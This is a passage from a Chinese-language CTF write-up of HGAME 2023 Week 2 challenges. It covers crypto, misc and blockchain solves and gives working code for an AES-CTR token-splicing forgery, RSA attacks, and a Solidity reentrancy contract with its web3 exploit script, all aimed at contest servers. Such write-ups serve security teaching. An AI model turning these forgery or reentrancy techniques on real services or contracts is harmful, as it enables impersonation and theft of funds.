* 23 + x3 * 21 + x4 * 31 + 0, 43850 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 33646 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 44270 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]</code></pre><p>在<code>Mathematica</code>中运行即可获得答案：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/b5d4a282c45e4520a3e7dfd567f86469.png" alt="b5d4a282c45e4520a3e7dfd567f86469" /></p><p>整理成C语句，运行一下</p><pre><code class="language-c">char result[] = {104,103,97,109,101,123,121,48,117,114,95,109,64,116,104,95,49,115,95,103,79,48,100,125,0};printf(result);</code></pre><p>即可得到最终flag：</p><pre><code class="language-text">hgame{y0ur_m@th_1s_gO0d}</code></pre><h2 id="%5Bcrypto%5D-%E9%9B%B6%E5%85%83%E8%B4%AD%E5%B9%B4%E8%B4%A7%E5%95%86%E5%BA%97" tabindex="-1">[CRYPTO] 零元购年货商店</h2><p><strong>本题题解思路可能与官方题解不同</strong><br />这道题和<a href="https://blog.vvbbnn00.cn/archives/cai-gou-bei-web-ti-ti-jie#%5Bweb%5D-%E9%BE%99%E7%8F%A0nft" target="_blank">菜狗杯的一道WEB题</a>有些类似，利用的是AES加密的缺陷。下载代码后，可以发现，这是一个<s>原神广告（虽然笔者不玩原神）</s><code>GO</code>语言编写的Web应用，审阅代码后，发现<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/c6cb414a50a341b5ac3c0d5e0d453279.png" alt="c6cb414a50a341b5ac3c0d5e0d453279" /><br />在购买商品时，如果购买的是flag，程序会判断当前登录的用户名是否为<code>Vidar-Tu</code>，如果不是，则报错。而判断登录的依据是经过AES加密的Token，Token在登录时获得：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/8918e71a238c42b4b8c35aeb9681c6d3.png" alt="8918e71a238c42b4b8c35aeb9681c6d3" /><br />对Token的加密代码如下：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/2b3b9a8922a343a5a089566fa330ea39.png" alt="2b3b9a8922a343a5a089566fa330ea39" /><br />审阅代码可知，加密方式为<code>AES-CTR</code>加密，秘钥长度为<code>16bytes</code>。该加密会将明文分成16字节的小块，然后对每一块进行加密，与此同时，会有一个计数器用于保存加密的轮次数，该加密的特点是无需在末尾补齐明文，使得长度为16的倍数。本题中，被加密的明文大致是形如下文的JSON字符串（至于字符串是否有空格，可以在源代码中Printf来判断）：</p><pre><code class="language-json">{&quot;Name&quot;:&quot;username&quot;,&quot;Created&quot;:1673801423,&quot;Uid&quot;:&quot;230555433&quot;}</code></pre><p>对该文本加密时，会16字节16字节加密，为了便于观察，我们可以将它每16字节换一行：</p><pre><code class="language-json">{&quot;Name&quot;:&quot;username&quot;,&quot;Created&quot;:1673801423,&quot;Uid&quot;:&quot;230555433&quot;}</code></pre><p>在这里，便存在一个可以利用的漏洞，由于明文是一块一块加密的，因此，除了轮次之外，上一块的明文并不会影响到下一块明文的加密结果，所以，我们可以首先构造：</p><pre><code class="language-json">{&quot;Name&quot;:&quot;Vidar-T&quot;,&quot;Created&quot;:1673802266,&quot;Uid&quot;:&quot;230555433&quot;}</code></pre><p>即用户名为<code>Vidar-T</code>，获取加密Token后截取第一段，即：</p><pre><code class="language-json">{&quot;Name&quot;:&quot;Vidar-T</code></pre><p>接着，再构造：</p><pre><code class="language-json">{&quot;Name&quot;:&quot;uuuuuuuu&quot;,&quot;Created&quot;:1673802266,&quot;Uid&quot;:&quot;230555433&quot;}</code></pre><p>即用户名为<code>uuuuuuuu</code>，获取加密Token后截取第二段到最后，即：</p><pre><code class="language-json">u&quot;,&quot;Created&quot;:1673802266,&quot;Uid&quot;:&quot;230555433&quot;}</code></pre><p>将两段密文拼接，解密出来的明文应当就是：</p><pre><code class="language-json">{&quot;Name&quot;:&quot;Vidar-Tu&quot;,&quot;Created&quot;:1673802266,&quot;Uid&quot;:&quot;230555433&quot;}</code></pre><p>于是，成功将自己的用户名改为了<code>Vidar-Tu</code>。实现Token构造的脚本如下：</p><pre><code class="language-python">import base64ori1 = &#39;J9W/3Ui2WMSczLc9XMpp3uMOi1BiNqY+yR8r7UtRc7K5jXu6CEskxKCXAGvylO95Jql0dCDdRonp&#39;ori2 = &#39;J9W/3Ui2WMSc76ssSM0x/7QAhTFTIaIr2B5t9UBWcrayhX+7CkM7yterDS3qjP94Jax0dCHaRpi2zg==&#39;def sep(num, data):    res = []    cnt = 0    bb = bytearray()    for i in data:        bb.append(i)        cnt += 1        if cnt == num:            cnt = 0            res.append(bb)            bb = bytearray()    if cnt &gt; 0:        res.append(bb)    return resif __name__ == &#39;__main__&#39;:    b641 = base64.b64decode(ori1)    b642 = base64.b64decode(ori2)    r1 = sep(16, b641)    r2 = sep(16, b642)    final = bytearray()    final.extend(r1[0])    final.extend(r2[1])    final.extend(r2[2])    final.extend(r2[3])    print(base64.b64encode(final).decode())</code></pre><p>将构造好的Token替换入Cookie（注意URLEncode），然后打开零元购超市，便可购买到flag（看到flag后发现，似乎字符翻转攻击也可以解出这道题）：</p><pre><code class="language-text">hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}</code></pre><h2 id="%5Bcrypto%5D-%E5%8C%85%E9%87%8C%E6%9C%89%E4%BB%80%E4%B9%88" tabindex="-1">[CRYPTO] 包里有什么</h2><p>首先观察加密代码：</p><pre><code class="language-python">from random import randintfrom libnum import gcd, s2nfrom secret import flagplain = flag[6:-1]assert flag == &#39;hgame{&#39; + plain + &#39;}&#39;v = bin(s2n(plain))[2:]l = len(v)a = [2 &lt;&lt; i for i in range(l)]m = randint(sum(a), 2 &lt;&lt; l + 1)w = randint(0, m)assert gcd(w, m) == 1b = [w * i % m for i in a]c = 0for i in range(l):    c += b[i] * int(v[i])print(f&#39;m = {m}&#39;)print(f&#39;b0 = {b[0]}&#39;)print(f&#39;c = {c}&#39;)# m = 1528637222531038332958694965114330415773896571891017629493424# b0 = 69356606533325456520968776034730214585110536932989313137926# c = 93602062133487361151420753057739397161734651609786598765462162</code></pre><p>可以获取到的信息是：</p><ul><li><code>m</code>、<code>b0</code>、<code>c</code>已知</li><li><code>a</code>数组包含了<code>2</code>至<code>2^l</code>的所有数（l为字符串长度）</li><li><code>m</code>是<code>sum(a)</code>至<code>2^(l+1)</code>之间的一个随机数</li><li><code>w</code>是<code>0</code>至<code>m</code>之间的随机数</li><li><code>b</code>数组的每个元素都是<code>a</code>数组每个元素与<code>w</code>的乘积模<code>m</code>后的结果</li><li><code>v</code>数组是明文在二进制下的形式，因此，<code>v</code>中包含的只可能是<code>0</code>或者<code>1</code></li><li><code>c</code>本质上是从<code>b</code>数组中，以<code>v</code>数组为依据取了一些数字求和</li></ul><p>因此，首先，我们可以反推出<code>w</code>和字符串长度<code>l</code>，代码如下：</p><pre><code class="language-python"># get Wk = 0while True:    w = (b0 + k * m)    if w // 2 &gt; m:        break    if w % 2 == 0:        print(w // 2)    k += 1# judge lengthl = 1while True:    a = [2 &lt;&lt; i for i in range(l)]    rangeM = range(sum(a), 2 &lt;&lt; l + 1)    if m in rangeM:        print(l)    l += 1</code></pre><p>得到<code>w</code>和<code>l</code>分别为：</p><pre><code class="language-text">w=34678303266662728260484388017365107292555268466494656568963l=198</code></pre><p>w还有一解，为：</p><pre><code class="language-text">w=798996914532181894739831870574530315179503554412003471315675</code></pre><p>不过二者结果是一样的，因此任选其一即可。</p><p>接着，我们将变量<code>c</code>化为公式后，可以看成是：<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mo>=</mo><mo stretchy="false">(</mo><mi>w</mi><mo>∗</mo><mi>a</mi><mn>1</mn><mo stretchy="false">)</mo><mtext> </mtext><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">c=(w*a1)\ Mod\ m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord">1</span><span class="mclose">)</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">m</span></span></span></span><br />此处的<code>a1</code>即需要求的值，由于笔者是数学苦手，此处的数学演算是数学系同学帮忙完成的，就不在这里班门弄斧了，直接放出计算代码：</p><pre><code class="language-python">k_ = gmpy2.invert(m, w)k = (w - (c % w)) * k_a1 = (k * m + c) // wa1 = a1 % m</code></pre><p>计算得到的<code>a1</code>并非最后字符串，因为在<code>c</code>的计算过程中，是从小到大累加的，例如<code>v[0]</code>为<code>1</code>时，增加的值为<code>0b10</code>，<code>v[1]</code>为<code>1</code>时，增加<code>0b100</code>，以此类推，因此，得出的<code>a1</code>是原字符串值的逆序，应该倒过来才是最终的答案。<br />完整代码如下：</p><pre><code class="language-python">import stringfrom random import randint, shuffleimport gmpy2from Crypto.Util.number import long_to_bytesfrom libnum import gcd, s2n, n2s# print(2 &lt;&lt; 0)## plain = &quot;1234567&quot;# v = bin(s2n(plain))[2:]# l = len(v)# a = [2 &lt;&lt; i for i in range(l)]# m = randint(sum(a), 2 &lt;&lt; l + 1)# w = randint(0, m)# assert gcd(w, m) == 1# b = [w * i % m for i in a]## c = 0# for i in range(l):#     c += b[i] * int(v[i])## print(f&#39;m = {m}&#39;)# print(f&#39;b0 = {b[0]}&#39;)# print(f&#39;c = {c}&#39;)# get W# k = 0# while True:#     w = (b0 + k * m)#     if w // 2 &gt; m:#         break#     if w % 2 == 0:#         print(w // 2)#     k += 1# pass# judge length# l = 1# while True:#     a = [2 &lt;&lt; i for i in range(l)]#     rangeM = range(sum(a), 2 &lt;&lt; l + 1)#     if m in rangeM:#         print(l)#     l += 1if __name__ == &#39;__main__&#39;:    w = 34678303266662728260484388017365107292555268466494656568963  # ,    # w = 798996914532181894739831870574530315179503554412003471315675  # 二者计算出的b是一样的    l = 198    m = 1528637222531038332958694965114330415773896571891017629493424    b0 = 69356606533325456520968776034730214585110536932989313137926    c = 93602062133487361151420753057739397161734651609786598765462162    a = [2 &lt;&lt; i for i in range(l)]    b = [w * i % m for i in a]    k_ = gmpy2.invert(m, w)    k = (w - (c % w)) * k_    a1 = (k * m + c) // w    a1 = a1 % m    print(int(&#39;0b&#39; + bin(a1)[2:][::-1], 2))    print(n2s(int(&#39;0b&#39; + bin(a1)[2:][::-1], 2)))    # dfs(c, 0, &#39;&#39;)# m = 1528637222531038332958694965114330415773896571891017629493424# b0 = 69356606533325456520968776034730214585110536932989313137926# c = 93602062133487361151420753057739397161734651609786598765462162</code></pre><p>最后得到flag：</p><pre><code class="language-text">hgame{1t&#39;s_4n_3asy_ba9_isn7_it?}</code></pre><h2 id="%5Bcrypto%5D-rabin" tabindex="-1">[CRYPTO] Rabin</h2><p>由题名可知，本题的加密算法是<code>Robin</code>算法，关于该算法的说明和解密代码可见该链接：<a href="https://www.jianshu.com/p/c18ee34058ed" target="_blank">https://www.jianshu.com/p/c18ee34058ed</a><br />本题直接使用了文章中的解密代码：</p><pre><code class="language-python">import gmpy2from Crypto.Util.number import long_to_bytesp = 65428327184555679690730137432886407240184329534772421373193521144693375074983q = 98570810268705084987524975482323456006480531917292601799256241458681800554123n = p * qe = 2c = 0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556c1 = pow(c, (p + 1) // 4, p)c2 = pow(c, (q + 1) // 4, q)cp1 = p - c1cp2 = q - c2t1 = gmpy2.invert(p, q)  # p的模q逆元t2 = gmpy2.invert(q, p)  # q的模p逆元m1 = (q * c1 * t2 + p * c2 * t1) % nm2 = (q * c1 * t2 + p * cp2 * t1) % n  # or m2=n-m1m3 = (q * cp1 * t2 + p * c2 * t1) % nm4 = (q * cp1 * t2 + p * cp2 * t1) % n  # or m4=n-m3print(long_to_bytes(m1))print(long_to_bytes(m2))print(long_to_bytes(m3))print(long_to_bytes(m4))if __name__ == &#39;__main__&#39;:    pass</code></pre><p>运行即可得到flag：</p><pre><code class="language-text">hgame{That&#39;5_s0_3asy_to_s@lve_r@bin}</code></pre><h2 id="%5Bcrypto%5D-rsa-%E5%A4%A7%E5%86%92%E9%99%A91" tabindex="-1">[CRYPTO] RSA 大冒险1</h2><p>本题有4个RSA加密的小题，由于此前已有人对RSA题目的不同情况做过梳理，因此此处不再赘述，可参考这篇文章：<a href="https://blog.csdn.net/qq_45521281/article/details/114706622" target="_blank">https://blog.csdn.net/qq_45521281/article/details/114706622</a></p><p>第一问是<code>q</code>、<code>r</code>不大，且有多个因子的情况，可以在解出<code>qr</code>后直接进行质因数分解，然后用解密即可：</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    # r = RSAServe()    # pub1 = r.pubkey()    # data1 = r.encrypt()    #    # print(pub1)    # print(data1)    pqr = 422911520759028137648646963413951603702138684202078235131195705284428638256756940133918932630108971    e = 65537    p = 294247427579452148561640280292993957993    c = 0x2259c614fad06d3238418b33f902a8f75863859ba2d662842ecdd798e1418059ac02790c76e66830bc    qr = pqr // p    print(qr)    f = FactorDB(qr)    f.connect()    print(f.get_factor_list())    (q, r) = f.get_factor_list()    d = gmpy2.invert(e, (p - 1) * (q - 1) * (r - 1))    m = pow(c, d, pqr)    print(long_to_bytes(m))</code></pre><p>得到secret：</p><pre><code class="language-text">m&lt;n_But_also_m&lt;p</code></pre><p>第二问的<code>p</code>是固定的，而<code>q</code>会变，因此可以求两个<code>pq</code>，取他们的最大公因数，即可获得<code>p</code>：</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    # r = RSAServe()    # pub1 = r.pubkey()[0]  # 这里一定要先获取pubkey，此处的pub1为n1 = p * q1    # key1 = r.encrypt()  # 再进行加密    # pub2 = r.pubkey()[0]  # 此处的pub2为n2 = p * q2    #    # print(pub1, pub2, key1)    q1 = 111047242451838895651769260238952943639445719587543934119816495726998709670093664383667133219949703551728588354388931606195908723424066317560707966920298746758387234846118239583395826839783677673773937074455846146356352575906718543687493903462511340131441633464044036500863787026341212841553048827520280662511    q2 = 139880514078818824227319966977934860321298861500563727051228068471281426132696057559657458524775988270477196532208241565506189514957488507600461450102962173461188362892291698841105380587602944332307731023577149464693167525765579973554072530800946136602157153209310426307622900106527596888754532794807609389883    c = 0x9afe6704a58280417031b6dea143ebf7f5c2c2843200a6a58aee80827fd35b7e8ad46537c6e13900aa557be4166503942084588eb6a353cd3e23161c216cef404e93c84b0837279a86e88806967ae7a22561a971e9a3b010f1273e3adf06cf1c40155e0f1ab0b3e0bd438f7be1d21c83c51b1172245478d62f69754070b75f3d    p = gmpy2.gcd(q1, q2)    q = q1 // p    e = 65537    d = gmpy2.invert(e, (p - 1) * (q - 1))    m = pow(c, d, p * q)    print(long_to_bytes(m))</code></pre><p>得到secret：</p><pre><code class="language-text">make_all_modulus_independent</code></pre><p>第三问的<code>e</code>很小，因此可以爆破获得原文：</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    # r = RSAServe()    # pub = r.pubkey()    # data = r.encrypt()    # print(pub)    # print(data)    n = pq = 92759421146208377534700858865416013557803987372227272120677672667197276914715911507681542526971529793766860687378047025067713451467662207154728310714527053090011739094089324815770586115826507392602514070335254414513087062604353171478903319700441523149367602232205786212185911744393984862917895191176214936653    e = 3    c = 0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748    k = 0    while 1:        res = iroot(c + k * n, e)  # c+k*n 开3次方根 能开3次方即可        if res[1]:            print(long_to_bytes(res[0]))  # 转为字符串            break        k = k + 1</code></pre><p>得到secret：</p><pre><code class="language-">encrypt_exponent_should_be_bigger</code></pre><p>第四问的<code>p</code>、<code>q</code>固定，但<code>e</code>会变化，可使用共模攻击：</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    # r = RSAServe()    # pub1 = r.pubkey()    # data1 = r.encrypt()    # pub2 = r.pubkey()    # data2 = r.encrypt()    # print(pub1)    # print(pub2)    # print(data1)    # print(data2)    n = pq = 145692505299523768235805820776570256689550908510673871327200927579538215259169813745060806158246842150136276105095481091764538369106084844488375993009687783579950512865501377438663872408197475317937548040350933479953448873231368922355356060623226177103029000112991318352366779096798280067488841097489374931241    e1 = 115777    e2 = 96697    c1 = 0x2120afa7a45c4cc506dd17ccda553821c236d840fc741eee67772e35de03349b0ee3d8084bc6fbf54e9572c6a19e415cf66f81c09e0d55afaba49ae0d2789612259b5281b445ffc4c7c6c1a429a2b3c98b0f37cf858fa61fdc46fa24733a6f608e2bd273b738bb2e21c0111aa54156252e3fabb544bdc8107b09d99aae10d5af    c2 = 0x8ceaaec22657184ef96e5af703421c92cc7078d94585784d19c96b80ebd6d7dd098c4338c46a1127ce1ef44aa46697e1b6e93b123e7198d787a7dffdb6674d6da38d8bdf47fe07102be2377c7e0a58aca844baed2619e2502d410f859462cf555b74faa77f4b05bd08454dbc59b8865d31f5f4b6eab9392a0f7757b2042647de    s = gmpy2.gcdext(e1, e2)    s1 = s[1]    s2 = -s[2]    c2 = gmpy2.invert(c2, n)    m = (pow(c1, s1, n) * pow(c2, s2, n)) % n    print(long_to_bytes(m))</code></pre><p>得到secret：</p><pre><code class="language-text">never_uese_same_modulus</code></pre><p>答完所有4道题后，可获得flag：</p><pre><code class="language-text">hgame{W0w_you^knowT^e_CoMm0n_&amp;t$ack_@bout|RSA}</code></pre><h2 id="%5Bmisc%5D-tetris-master" tabindex="-1">[MISC] Tetris Master</h2><p>本题题目有问题，进入环境后<code>Ctrl+C</code>中断程序，然后<code>cat flag</code>就能得到flag：</p><pre><code class="language-text">hgame{Bash_Game^Also*Can#Rce}</code></pre><h2 id="%5Bmisc%5D-sign-in-pro-max-(%E6%9C%AA%E8%A7%A3%E5%87%BA)" tabindex="-1">[MISC] Sign In Pro Max (未解出)</h2><p>本题的提示如下：</p><pre><code class="language-text">Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7dbUfwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its&#39;y ktwljy ymj ktwrfy.</code></pre><p>第一部分笔者猜测是<code>Base64-Base58-Base32</code>，结果为：<code>f51d3a18</code><br />第二部分似乎是MD5加密，查询得到结果为：<code>f91c</code><br />第三部分是SHA1，结果为：<code>4952</code><br />第四部分是SHA256，结果为：<code>a3ed</code><br />第五部分是凯撒密码加密，枚举解密后为：</p><pre><code class="language-text">Part5 is 0bc0ea61d21c, now put all the parts together, don&#39;t forget the format.</code></pre><p>根据指示，拼接所有结果，得到字符串<code>f51d3a18f91c4952a3ed0bc0ea61d21c</code></p><p>但答案不对，暂时没想到正解。</p><h2 id="%5Bmisc%5D-crazy_qrcode" tabindex="-1">[MISC] crazy_qrcode</h2><p>附件有一张二维码和一个压缩包，压缩包是加密的，很明显二维码与密码有关。<br />扫描了以下，没有扫出来，说明编码可能有问题，在<a href="https://merricx.github.io/qrazybox/" target="_blank">https://merricx.github.io/qrazybox/</a>中导入该二维码，选择<code>Brute-force Format Info Pattern</code><br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/1862368de02f4671b369e8e91d87f042.png" alt="1862368de02f4671b369e8e91d87f042" /><br />然后将模式转为<code>Decode Mode</code>，点击<code>Decode</code>即可获得密码：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/dd9b3a7989fc4aacb6690d0551e1ebf4.png" alt="dd9b3a7989fc4aacb6690d0551e1ebf4" /></p><pre><code class="language-text">QDjkXkpM0BHNXujs</code></pre><p>用密码解压后，可以看到25张二维码碎片和一个文本文件，文本文件中包含一个数组：</p><pre><code class="language-text">[1, 2, ?, 3, ?, 0, 3, ?, ?, 3, ?, 0, 3, 1, 2, 1, 1, 0, 3, 3, ?, ?, 2, 3, 2]</code></pre><p>猜测与图片旋转方向有关（其实猜了很久才想到），然后用高端的拼图辅助工具（PowerPoint）拼接出二维码：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/87362ae8ceda4cb2bf6e08beb5fcdda0.png" alt="87362ae8ceda4cb2bf6e08beb5fcdda0" /><br />有三张图的方向未知，但是不用这三张也能扫出，最后得到flag：</p><pre><code class="language-text">hgame{Cr42y_qrc0de}</code></pre><h2 id="%5Bmisc%5D-tetris-master-revenge" tabindex="-1">[MISC] Tetris Master Revenge</h2><p>这道题笔者做题时并没有思路，只是使用脚本不停地重启游戏（因为游戏重开不会清除积分）攒到<code>50000</code>分然后通关的（<br />通关截图和flag如下：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/43df8e51e5464de9863bfa779a6a45e7.png" alt="43df8e51e5464de9863bfa779a6a45e7" /></p><h2 id="%5Bblockchain%5D-vidarbank" tabindex="-1">[Blockchain] VidarBank</h2><p>本题无法使用remix直接解题，可以使用python脚本（这一项技能是根据Week1的题解现学现卖的，可能存在不准确的地方，请见谅）<br />分析源代码可以发现：</p><pre><code class="language-solidity">pragma solidity &gt;=0.8.7;contract VidarBank {    mapping(address =&gt; uint256) public balances;    mapping(address =&gt; bool) public doneDonating;    constructor() {}    function newAccount() public payable {        require(msg.value &gt;= 0.0001 ether);        balances[msg.sender] = 10;        doneDonating[msg.sender] = false;    }    function donateOnce() public {        require(balances[msg.sender] &gt;= 1);        if (doneDonating[msg.sender] == false) {            balances[msg.sender] += 10;            msg.sender.call{value: 0.0001 ether}(&quot;&quot;);            doneDonating[msg.sender] = true;        }    }    function getBalance() public view returns (uint256) {        return balances[msg.sender];    }    function isSolved() public {        require(balances[msg.sender] &gt;= 30, &quot;Not yet solved!&quot;);    }}</code></pre><p>本题在调用<code>donateOnce</code>函数后，如果没有捐赠过，将进行一次捐赠，在捐赠过程中，会调用<code>sender</code>的<code>fallback</code>函数，因此，可以利用这一点，在<code>fallback</code>函数中再次调用<code>donateOnce</code>，实现递归增加余额，代码如下：</p><pre><code class="language-solidity">contract InfinityFallback {    VidarBank vidarBank;    constructor(address _addr) {        vidarBank = VidarBank(_addr);    }    function addBalance() public payable {}    function newAccount() public {        vidarBank.newAccount{value: 0.0002 ether}();    }    function doDonate() public {        vidarBank.donateOnce();    }    function isSolved() public {        vidarBank.isSolved();    }    fallback() external payable {        doDonate();    }}</code></pre><p>最后，依葫芦画瓢写出python代码：</p><pre><code class="language-python">from web3 import Web3, HTTPProvidercontractABI = &quot;&quot;&quot;[{&quot;inputs&quot;: [],&quot;name&quot;: &quot;addBalance&quot;,&quot;outputs&quot;: [],&quot;stateMutability&quot;: &quot;payable&quot;,&quot;type&quot;: &quot;function&quot;},{&quot;inputs&quot;: [],&quot;name&quot;: &quot;doDonate&quot;,&quot;outputs&quot;: [],&quot;stateMutability&quot;: &quot;nonpayable&quot;,&quot;type&quot;: &quot;function&quot;},{&quot;inputs&quot;: [],&quot;name&quot;: &quot;isSolved&quot;,&quot;outputs&quot;: [],&quot;stateMutability&quot;: &quot;nonpayable&quot;,&quot;type&quot;: &quot;function&quot;},{&quot;inputs&quot;: [],&quot;name&quot;: &quot;newAccount&quot;,&quot;outputs&quot;: [],&quot;stateMutability&quot;: &quot;nonpayable&quot;,&quot;type&quot;: &quot;function&quot;},{&quot;inputs&quot;: [{&quot;internalType&quot;: &quot;address&quot;,&quot;name&quot;: &quot;_addr&quot;,&quot;type&quot;: &quot;address&quot;}],&quot;stateMutability&quot;: &quot;nonpayable&quot;,&quot;type&quot;: &quot;constructor&quot;},{&quot;stateMutability&quot;: &quot;payable&quot;,&quot;type&quot;: &quot;fallback&quot;}]&quot;&quot;&quot;bytecode = 0x608060405234801561001057600080fd5b50604051610379380380610379833981810160405281019061003291906100db565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610108565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a88261007d565b9050919050565b6100b88161009d565b81146100c357600080fd5b50565b6000815190506100d5816100af565b92915050565b6000602082840312156100f1576100f0610078565b5b60006100ff848285016100c6565b91505092915050565b610262806101176000396000f3fe6080604052600436106100435760003560e01c806364d98f6e1461004e578063b163cc3814610065578063bd2ea4e91461006f578063bf335e621461008657610044565b5b61004c61009d565b005b34801561005a57600080fd5b5061006361011f565b005b61006d6101a1565b005b34801561007b57600080fd5b5061008461009d565b005b34801561009257600080fd5b5061009b6101a3565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635e5363a96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561010557600080fd5b505af1158015610119573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561018757600080fd5b505af115801561019b573d6000803e3d6000fd5b50505050565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bf335e6265b5e620f480006040518263ffffffff1660e01b81526004016000604051808303818588803b15801561021157600080fd5b505af1158015610225573d6000803e3d6000fd5b505050505056fea264697066735822122034fc9204bdb1b184e141f958f09e56e968f280a55df3887ff2a3123bd929f4e064736f6c63430008110033web3 = Web3(HTTPProvider(&quot;http://week-2.hgame.lwsec.cn:30630/&quot;))print(web3.isConnected())account = web3.eth.account.privateKeyToAccount(&#39;0x1145141919810191919191191919a9961a0419190721072100772211aabbccdd&#39;)print(account.address)print(web3.eth.getBalance(account.address))if __name__ == &#39;__main__&#39;:    # 部署合约    newContract = web3.eth.contract(bytecode=bytecode, abi=contractABI)    tx = newContract.constructor(&#39;0x5a7A663386A6958fba7A96aD56389950b4D33EBe&#39;).buildTransaction({        &#39;from&#39;: account.address,        &#39;nonce&#39;: web3.eth.getTransactionCount(account.address),        &#39;gas&#39;: 3000000,        &#39;gasPrice&#39;: web3.toWei(&#39;1&#39;, &#39;gwei&#39;),    })    signed_tx = account.signTransaction(tx)    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)    print(&#39;New Contract Addr&#39;, tx_receipt.contractAddress)    addr = tx_receipt.contractAddress    contract = web3.eth.contract(address=addr,                                 abi=contractABI)    # 充值    print(&quot;Procedure 1 - Charge Account&quot;)    tx = contract.functions.addBalance().buildTransaction({        &#39;from&#39;: account.address,        &#39;nonce&#39;: web3.eth.getTransactionCount(account.address),        &#39;gas&#39;: 3000000,        &#39;gasPrice&#39;: web3.toWei(&#39;1&#39;, &#39;gwei&#39;),        &#39;value&#39;: web3.toWei(0.1, &#39;ether&#39;),    })    signed_tx = account.signTransaction(tx)    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)    print(tx_receipt)    # 新建账户    print(&quot;Procedure 2 - Initialize Bank&quot;)    tx = contract.functions.newAccount().buildTransaction({        &#39;from&#39;: account.address,        &#39;nonce&#39;: web3.eth.getTransactionCount(account.address),        &#39;gas&#39;: 3000000,        &#39;gasPrice&#39;: web3.toWei(&#39;1&#39;, &#39;gwei&#39;)    })    signed_tx = account.signTransaction(tx)    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)    print(tx_receipt)    # 消费    print(&quot;Procedure 3 - Donate With Fallback&quot;)    tx = contract.functions.doDonate().buildTransaction({        &#39;from&#39;: account.address,        &#39;nonce&#39;: web3.eth.getTransactionCount(account.address),        &#39;gas&#39;: 3000000,        &#39;gasPrice&#39;: web3.toWei(&#39;1&#39;, &#39;gwei&#39;)    })    signed_tx = account.signTransaction(tx)    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)    print(tx_receipt)    # 查询是否已成功    print(&quot;Procedure 4 - Call isSolved Function&quot;)    tx = contract.functions.isSolved().buildTransaction({        &#39;from&#39;: account.address,        &#39;nonce&#39;: web3.eth.getTransactionCount(account.address),        &#39;gas&#39;: 3000000,        &#39;gasPrice&#39;: web3.toWei(&#39;1&#39;, &#39;gwei&#39;)    })    signed_tx = account.signTransaction(tx)    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)    print(tx_receipt)    print(&quot;Done, Tx Addr is&quot;, 